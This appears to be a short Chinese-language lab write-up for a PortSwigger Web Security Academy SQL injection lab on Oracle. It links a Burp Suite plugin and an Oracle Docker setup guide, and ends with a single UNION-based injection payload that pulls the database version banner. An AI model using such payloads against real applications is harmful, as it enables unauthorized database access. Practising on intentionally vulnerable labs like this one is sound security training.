burpsuite靶场----SQL注入3----oracle的union注出版本

burpsuite靶场----SQL注入3----oracle注入

推荐burpsuite插件

https://github.com/smxiazi/xia_sql

linux上安装oracle

mysql的详细学习可以下载小皮面板或者手动安装
oracle这里使用docker安装,因为oracle手动安装比较麻烦
这里我参照这位师傅的博客在linux上搭建oracle数据库
https://blog.csdn.net/c198621/article/details/114358136

靶场地址

https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle

正式开始

1.点击标签进入


2.payload
' union select banner,null from v$version--